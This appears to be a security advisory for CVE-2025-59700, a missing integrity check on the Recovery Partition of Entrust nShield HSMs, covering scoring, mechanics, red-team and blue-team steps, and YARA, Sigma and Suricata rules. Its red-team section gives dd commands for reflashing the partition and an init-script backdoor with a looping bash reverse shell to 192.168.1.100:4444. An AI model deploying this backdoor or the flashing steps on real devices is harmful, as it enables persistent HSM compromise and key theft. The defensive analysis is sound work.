CVE-2025-59700

Executive Summary

CVE-2025-59700 exposes a critical integrity failure in the Recovery Partition of Entrust nShield hardware security modules (HSMs), specifically the nShield Connect XC, nShield 5c, and nShield HSMi series running firmware versions up to 13.6.11 or 13.7. A physically proximate attacker with root access can modify the Recovery Partition due to a lack of integrity protection. This allows the attacker to inject malicious code or alter recovery procedures, potentially leading to persistent compromise of the HSM’s secure boot chain, key material extraction, or denial of service. The vulnerability is rated with a CVSS score of 0.0 in the NVD, but based on the impact, a more realistic vector is provided below.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a firmware-level integrity issue in proprietary hardware security modules.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Physical (P) – Requires physical access to the device.
• Attack Complexity (AC): Low (L) – No special conditions beyond root access.
• Privileges Required (PR): High (H) – Requires root access on the HSM.
• User Interaction (UI): None (N) – No user interaction needed.
• Scope (S): Unchanged (U) – The vulnerable component is the HSM itself.
• Confidentiality (C): High (H) – Potential to extract all keys and secrets.
• Integrity (I): High (H) – Recovery partition can be modified to inject malicious code.
• Availability (A): High (H) – Can render the HSM inoperable or backdoored.

CVSS Vector: CVSS:3.1/AV:P/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
Base Score: 6.6 (Medium) – However, due to the critical nature of HSMs, the risk is elevated.

Deep Dive & Mechanics

The Entrust nShield HSM series uses a Recovery Partition to restore the device to a known good state after a failure or compromise. This partition is typically stored on internal flash or a dedicated storage medium. The vulnerability arises because the firmware does not cryptographically verify the integrity of the Recovery Partition before loading it. An attacker with root access can:

1. Modify the Recovery Partition: Replace the legitimate recovery image with a malicious one containing backdoors, keyloggers, or altered cryptographic routines.
2. Trigger Recovery: Force the HSM to boot into recovery mode (e.g., by corrupting the primary firmware or using a hardware reset sequence).
3. Persist: The malicious recovery image will be loaded, granting the attacker persistent control over the HSM even after subsequent reboots.

The lack of integrity protection means that any modification to the Recovery Partition is undetected by the device’s boot process. This is a fundamental design flaw in the firmware update and recovery mechanism.

Vulnerable vs. Patched Code

Since no patch is available, we compare the vulnerable behavior to the expected secure behavior.

Vulnerable (Current):

• The Recovery Partition is stored without a digital signature or hash.
• The bootloader loads the Recovery Partition without verifying its authenticity.
• An attacker with root access can overwrite the partition using standard file system commands (e.g., dd, flashcp).

Expected Patched Behavior:

• The Recovery Partition should be signed with a hardware-bound private key.
• The bootloader should verify the signature using a public key embedded in read-only memory (ROM) or a secure element.
• Any modification to the Recovery Partition would invalidate the signature, causing the bootloader to reject it and fall back to a secure recovery mode (e.g., network-based recovery with attestation).

Example of a secure boot flow (pseudo-code):

if (verify_signature(recovery_partition, public_key) == SUCCESS) {
    boot(recovery_partition);
} else {
    // Fall back to secure recovery
    network_recovery();
}

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Physical access to the HSM.
• Root access (e.g., via a compromised management interface or local console).
• Knowledge of the HSM’s internal storage layout.

Steps:

1. Identify the Recovery Partition: Use lsblk, fdisk -l, or vendor-specific tools to locate the partition (e.g., /dev/mmcblk0p2).
2. Dump the Original Partition: dd if=/dev/mmcblk0p2 of=/tmp/original_recovery.img
3. Create a Malicious Recovery Image: Modify the image to include a backdoor (e.g., a reverse shell in the init script).
4. Flash the Malicious Image: dd if=/tmp/malicious_recovery.img of=/dev/mmcblk0p2
5. Trigger Recovery: Reboot the HSM and force recovery mode (e.g., by holding a hardware button or corrupting the primary firmware).
6. Gain Persistent Access: The malicious recovery image will execute, providing a root shell or exfiltrating keys.

Example malicious init script snippet:

#!/bin/sh
# Reverse shell backdoor
nohup bash -c 'while true; do bash -i >& /dev/tcp/192.168.1.100/4444 0>&1; sleep 10; done' &
# Continue normal recovery
/sbin/init

Blue Team (Defensive)

Detection:

• Monitor for unexpected writes to the Recovery Partition (e.g., using auditd or file integrity monitoring).
• Check for unusual processes or network connections during recovery mode.
• Verify the integrity of the Recovery Partition by comparing its hash against a known good value (if available).

Prevention:

• Restrict physical access to HSMs to authorized personnel only.
• Implement strict access controls (e.g., multi-factor authentication for root access).
• Use hardware security modules that support secure boot and signed recovery images.
• Regularly audit the integrity of the Recovery Partition.

Response:

• If tampering is detected, immediately isolate the HSM from the network.
• Perform a secure wipe and reinitialize the HSM from a trusted source.
• Investigate the root cause of the root access compromise.

Indicators of Compromise (IOCs)

• File Hashes: Unexpected hash values for the Recovery Partition (e.g., SHA256 of /dev/mmcblk0p2).
• Network Connections: Outbound connections from the HSM during recovery mode (e.g., to an attacker-controlled IP).
• Processes: Unusual processes running during recovery (e.g., bash, nc, python).
• Logs: Entries in system logs indicating unauthorized access or modification of the Recovery Partition.
• Firmware Version: HSM running firmware <= 13.6.11 or 13.7.

Detection Engineering

YARA Rule

rule CVE_2025_59700_Recovery_Partition_Tamper {
    meta:
        description = "Detects modifications to Entrust nShield Recovery Partition"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-59700"
    strings:
        $recovery_magic = { 45 4E 54 52 55 53 54 5F 52 45 43 4F 56 45 52 59 } // "ENTRUST_RECOVERY"
        $suspicious_script = /bash -i >& \/dev\/tcp\// nocase
    condition:
        $recovery_magic and $suspicious_script
}

Sigma Rule

title: Entrust nShield Recovery Partition Modification
id: 8c5e3f2a-1b7d-4e9c-8f0a-3d2e1f4b5c6a
status: experimental
description: Detects writes to the Recovery Partition on Entrust nShield HSMs
author: Valters IT
date: 2025-04-10
logsource:
    product: linux
    service: auditd
detection:
    selection:
        type: 'SYSCALL'
        syscall: 'pwrite64'
        path: '/dev/mmcblk0p2'  # Adjust based on actual partition
    condition: selection
falsepositives:
    - Legitimate firmware updates (rare)
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET 4444 (msg:"CVE-2025-59700 - Potential Reverse Shell from HSM Recovery"; flow:to_server,established; content:"bash -i"; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Restrict Physical Access: Ensure only authorized personnel can physically access the HSM.
2. Monitor Root Access: Implement strict controls and auditing for root-level access.
3. Verify Recovery Partition Integrity: Periodically compute and compare the hash of the Recovery Partition against a known good value.

Long-term Fix:

• Entrust must release a firmware update that cryptographically signs the Recovery Partition and verifies it during boot.
• Until a patch is available, consider replacing affected HSMs with models that support secure boot.

Workaround:

• Disable recovery mode if not needed (check vendor documentation).
• Use network-based recovery with attestation instead of local recovery.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert